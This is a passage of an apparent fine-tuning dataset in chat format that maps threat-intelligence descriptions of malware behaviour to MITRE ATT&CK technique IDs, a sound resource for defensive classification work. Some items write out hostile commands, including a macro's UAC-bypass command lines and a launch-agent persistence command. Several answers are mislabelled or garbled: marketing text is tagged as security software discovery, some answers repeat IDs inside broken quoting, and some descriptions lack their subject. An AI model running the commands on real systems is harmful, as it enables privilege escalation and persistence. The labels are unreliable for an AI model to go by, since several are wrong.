                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CARROTBAT itself is a dropper that allows an attacker to drop and open an embedded decoy file, followed by the execution of a command that will download and run a payload on the targeted machine"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Given Lazarus’ use of a wide array of tools and techniques in their operations, it’s reasonable to assume that the group will continue to use ever-evolving tactics in their malicious activities. Overall, an organization will need multilayered security strategies, as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It will:  Download and execute the backdoor component Replace the content of the downloader Mach-O executable with a decoy, either using a base64-encoded embedded file or by downloading it from the internet Open a decoy document (described later) Close the Terminal window that just opened  The decoy document replaces the downloader Mach-O file, which means the malicious executable is only present in the ZIP file now"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has made registry modifications to alter its behavior upon execution."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Web shells to maintain access to victim websites."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used malware to collect information on files and directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT creates a scheduled task to ensure it is re-executed everyday."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum can establish persistence by creating a .lnk shortcut to itself in the Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a recent wave of attacks during February 2019, Elfin attempted to exploit a known vulnerability (CVE-2018-20250) in WinRAR, the widely used file archiving and compression utility capable of creating self-extracting archive files. The exploit was used against one target in the chemical sector in Saudi Arabia. If successfully exploited on an unpatched computer, the vulnerability could permit an attacker to install any file on the computer, which effectively permits code execution on the targeted computer"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos decrypts strings right after the initial communication, but before the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Appending a file signature header to all encrypted data, prior to upload or download, by randomly selecting from the file types"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses commands such as netsh interface show to discover network interface settings."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba has been dropped onto systems and used for lateral movement via obfuscated PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this blog, we described how Redaman has become more effective by hiding dynamic C&amp;C server addresses inside the Bitcoin blockchain"
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of spreading to USB devices."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can transfer files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smart, optimized, and connected, XGen security powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network Defense"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers user names from infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes collects the victim hostname, window resolution, and Microsoft Windows version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A version of  introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used a Perl reverse shell to communicate with C2."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 5: Sample pseudo-HTTP beacon The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally it checks to determine if common analysis tools are currently running on the infected system"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UPPERCUT has the capability to collect the current logged on user’s username from a machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1490 - Inhibit System Recovery', 'T1490 - Inhibit System Recovery', 'T1490 - Inhibit System Recovery', 'T1047 - Windows Management Instrumentation', 'T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has attempted to get users to click on Office attachments with malicious macros embedded."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the PuTTY sample discovered on VirusTotal, the malicious code was inserted into the ssh2_userauth_process_queue function (source file: putty-0.77\\ssh\\userauth2-client.c). The code resides in the part of the function responsible for performing password authentication, as opposed to other methods such as keyboard-interactive authentication or public key. Once the user establishes a connection and enters their username and password, the malicious code is executed regardless of the authentication result."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has started a monero service."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: SysV/Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality. Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more. However, our current analysis shows no way for such code to be executed"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can create, delete, or modify a specified Registry key or value."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CoinTicker decodes the initially-downloaded hidden encoded file using OpenSSL."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession can gather system owner information, including user and administrator privileges."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One version of  consists of VBScript and PowerShell scripts. The malware also uses batch scripting."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has compressed data into .zip files prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used JavaScript to drop and execute malware loaders."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has removed files from victim machines."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After downloading its main config file,  downloads multiple payloads from C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldFinder logged and stored information related to the route or hops a packet took from a compromised machine to a hardcoded C2 server, including the target C2 URL, HTTP response/status code, HTTP response headers and values, and data received from the C2 node."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to identify the IP address of the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession can use HTTP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cadelspy has the ability to identify open windows on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathered information and files from local directories for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There are multiple ways for the operators to reach a Kobalos-infected machine. The method we’ve seen the most is where Kobalos is embedded in the OpenSSH server executable (sshd) and will trigger the backdoor code if the connection is coming from a specific TCP source port. These variants either connect to a C&amp;C server that will act as a middleman, or wait for an inbound connection on a given TCP port"
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aquatic Panda has used native OS commands to understand privilege levels and system details."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main C2 loop starts after the initial upload of the reconnaissance data, iterating once every approximately 30 seconds. For the first five minutes, each iteration will capture a screenshot of the display and upload it to the \"normal\" subdirectory with an encoded timestamp as the filename. After the first five minutes, the screenshot uploads once every five minutes"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY has masqueraded as a legitimate Windows tool."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can dump secrets from the Local Security Authority."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack involved a spear-phishing email with a subject of “Project Offer” and a malicious Word document (SHA256: d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318) as an attachment"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer’s data wiper module clears registry keys and overwrites both ICS configuration and Windows files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can identify the MAC address on the target computer."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to communicate with C2 with TCP over port 443."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encodes files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT30 has used spearphishing emails with malicious DOC attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can identify remote systems through the \"net view\" command."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempted to get users to click on an embedded macro within a Microsoft Office Excel document to launch their malware."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Komplex trojan creates a persistent launch agent called with \"$HOME/Library/LaunchAgents/com.apple.updates.plist\" with \"launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist\"."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Thrip leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN can delete files on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operators used the HyperBro Trojan as their last-stage in-memory remote administration tool (RAT). The timestamps for these modules are from December 2017 until January 2018. The anti-detection launcher and decompressor make extensive use of Metasploit’s shikata_ga_nai encoder as well as LZNT1 compression"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can automatically exfiltrate collected documents to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used lures to get users to enable content in malicious attachments and execute malicious files contained in archives. For example, TA505 makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito can upload and download files to the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has used ListPlanting to inject code into a trusted process."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca used VBA scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel can delete itself following the successful execution of a follow-on payload."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise performs timestomping of a CAB file it creates."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang performs account discovery using commands such as \"net localgroup administrators\" and \"net group \"REDACTED\" /domain\" on specific permissions groups."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro then extracts the CAB file into %systemroo%\\system32, using either wusa.exe or expand.exe (depending on the OS) to again bypass UAC prompts Once the files have been extracted, the Visual Basic macro deletes the CAB file and runs the malicious NTWDBLIB.dll via cliconfg.exe (to gain privileges and bypass UAC protections) Command lines used by the Visual Basic macro:  cmd /c wusa %TEMP%\\setup.cab /quiet /extract:%SystemRoot%\\System32 && del /f /q %TEMP%\\setup.cab && cliconfg.exe cmd /c expand %TEMP%\\setup.cab -F:* %SystemRoot%\\System32 && del /f /q %TEMP%\\setup.cab && cliconfg.exe A combination of NTWDBLIB.dll and cliconfg.exe are used to bypass UAC protections; this is a familiar attack on Windows"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMail can use hard coded client and certificate authority certificates to communicate with C2 over mutual TLS."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used VPNs and Outlook Web Access (OWA) to maintain access to victim networks."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperBro has used HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook can upload files from a victim's machine over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER downloader code has included \"0\" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection."
            },
            {
